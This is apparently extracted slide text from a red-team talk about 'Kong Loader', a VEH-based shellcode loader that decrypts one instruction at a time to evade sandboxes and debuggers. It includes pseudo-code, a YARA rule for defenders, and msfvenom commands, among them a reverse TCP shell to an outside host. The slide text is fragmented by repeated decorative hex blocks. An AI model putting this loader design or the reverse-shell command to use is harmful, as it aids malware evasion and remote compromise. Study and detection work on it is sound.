lea rcx, [rip+0x4]           ; Load address of data 

call ShellExecute            ; ShellExecute (&data)

ret                          ; Return

.byte 0x13, 0x37, 0x13, 0x37 ; Data (encrypted)

Good thing is, the length is usually passed as another argument!

Pointer points to data of which the length is unknown…
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Breakpoints do not trigger in newly created threads

• Hardware breakpoints via debug registers are per-thread.

• On CreateThread, Kong Loader may lose execution control.

• Even if we were able to properly implement it:

1. Thread 1 decrypts an instruction.

2. Thread 2 encrypts that instruction.

3. Thread 1 executes encrypted instruction (crashes).

Vague execution states
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Breakpoints do not trigger in newly created threads

• Hardware breakpoints via debug registers are per-thread.

• On CreateThread, Kong Loader may lose execution control.

• Even if we were able to properly implement it:

1. Thread 1 decrypts an instruction.

2. Thread 2 encrypts that instruction.

3. Thread 1 executes encrypted instruction (crashes).

Vague execution states

Pseudo c-code

if (FunctionName(lpAddress) == "CreateThread") { 

    // Set start address to duplicated shellcode 

    SetThirdArgument( 

        Duplicate(shellcode) 

        + GetOffset(GetThirdArgument) 

    ); 

    // Suspend so we can set the breakpoint

    SetFifthArgument(CREATE_SUSPENDED); 

    // Configure breakpoint in new thread 

    SetBreakpoint( 

        duplicatedShellcode, 

        AFTER_EXECUTING_INSTRUCTION, 

        RESUME_THREAD_AFTER_DUPLICATION 

    ) 

}

... continue ...

Kong Loader Source: Duplicating encrypted shellcode for a new thread

New threads might contain nested pointers to original shellcode.
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We interpret all these instructions, 
aren’t we building an interpreter?

Vectored Exception Handling (VEH) Malware
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We interpret all these instructions, 
aren’t we building an interpreter?

Vectored Exception Handling (VEH) Malware

Vague, Endless & Horrible (VEH) Malware
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6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Caveats for Defenders
Such slow. Very exception. Much breakpoint.
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Caveats for Defenders (debugging)

malware.exe

SOC Analyst

Isolated 
sandbox

Performs analysis in isolated sandbox

Sandbox too slow for rolling decryption

Thus, runtime analysis is difficult.
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Caveats for Defenders (debugging)

malware.exe

SOC Analyst

WinDbg.exe

Performs analysis in WinDBG

Millions of exceptions (1 for each instruction)

Can you ignore them using the `sxi sse` command?

No, ignoring each instruction adds millions of instructions 
per instruction to be executed…
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Caveats for Defenders (detection)
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3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Caveats for Defenders (detection)

rule KongLoader {

    strings: 

        // Look for import of AddVectoredExceptionHandler 

        $import_AddVectoredExceptionHandler = { 41 64 64 56 65 63 74 6F 72 65 64 45 78 63 65 ... } 

        // Look for import of ZydisDecoderDecodeFull 

        $import_ZydisDecoderDecodeFull = { 5A 79 64 69 73 44 65 63 6F 64 65 72 44 65 63 6F 64 ... } 

        // Look for call to VirtualAlloc with PAGE_EXECUTE_READWRITE (0x40) 

        $call_VirtualAlloc_PAGE_EXECUTE_READWRITE = { 

            41 B9 40 00 00 00     // push 0x40 (PAGE_EXECUTE_READWRITE) 

            ?? ?? ?? ?? ?? ??     // push 0x3000 (MEM_COMMIT | MEM_RESERVE) 

            ?? ?? ??              // push <variable size> (dwShellcodeSize) 

            B9 00 00 00 00        // push 0x0 (NULL) 

            48 8B 05 97 B5 07 00  // mov rax, VirtualAlloc 

            FF D0                 // call rax 

        }

    condition: 

        all of ($import_*) and $call_VirtualAlloc_PAGE_EXECUTE_READWRITE 

}

Yara rule to detect Kong Loader’s native code



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Future work
Making Kong Loader production ready



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

• We can overcome any caveat: 

– By moving Kong Loader from runtime to compile time:

• Requires transpiling shellcode into something interpretable (enriched with instruction metadata)

• Requires a refactor of Kong Loader to interpret the interpretable format (we can throw Zydis away)

• ToDoTM

• However…

– We would just be building a virtual machine like VMProtect

– Known TTP, used by threat actors.

– Fox-IT recently blogged about it [1].

• Yet …

– The current state is very valuable for 1st Stage Malware

– Or you can use it for obfuscation purposes!

Making Kong Loader production ready

[1] https://blog.fox-it.com/2024/09/25/red-teaming-in-the-age-of-edr-evasion-of-endpoint-detection-through-malware-virtualisation/



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Demo
Loading OG msfvenom payloads (& NimPlant)



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

msfvenom -p win/x64/exec CMD=calc.exe



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

msfvenom -p win/x64/shell_reverse_tcp LHOST=1.2.3.4 LPORT=80



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

NimPlant Position Independent C-code (PIC)

TODO



x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

Concluding
Vectored Exception Handling (VEH) Malware

Vague, Endless & Horrible (VEH) Malware

Vectored Exception Handling (VEH) Malware

Vague, Endless & Horrible (VEH) Malware

Very Experimental Hypothetical (VEH) Malware

Icons by Icons8. 

https://icons8.com/license


x76,0x31, 

23   37,0x68, 21

44,   2,0x68,0.       7,0x68,0x61,

6c,0x 6,0x6d,0x.   x6f,0x57,

67,0x28,0x62,0x3. 0x2c,

48,0x39,0x58,0x21,0x2b,

25,0x39,0x5b,0x69,0x4d

6a,0x77,0x50,0x2d,0x45,0x37,    0x42,0x56      0x58,0x23,0x24,0x32

3d,0x32,0x5b,0x45,0x45,0x3d,0x2f,0x53,0x66,   a,0x2b,0x21,0x4a,

52,0x46,0x23,0x53,0x4a,0x28,0x33,0x34,0x69,0. e,0x5e,0x6f,0x51

33,0x2a,0x46,0x21,0x46,0x6f,0x53,0x71,0x58,0x52,0x44,0x53

24,0x51,0x56,0x59,0x2b,0x21,0x28,0x69,0x68,0x28,0x53,0x52,0x33,0x7a

35,0x2d,0x45,0x7a,0x6d,0x70,0x2a,0x71,0x28,0x6d,0x45,0x49,0x41,0x40

28,0x67,0x45,0x78,0x3b,0x23,0x68,0x4c,0x57,0x6f,0x2e,0x4a,0x44,

58,0x6a,0x71,0x33,0x4f,0x35,0x6e,0x69,0x24,0x6b,0x26,0x33,0x7b

33,0x7a,0x6a,0x32,0x6a,0x6f,0x67,0x58,0x34,0x21,0x68,0x74

73,0x63,0x57,0x4e,0x56,0x71,0x44,0x5a,0x26,0x6a,0x33,0x47,0x35

6e,0x53,0x3c,0x52,0x42,0x61,0x2e,0x40,0x44,0x6a,0x33,0x41,0x48

<< EOF
Scan QR for NimPlant Position Independent C-code!
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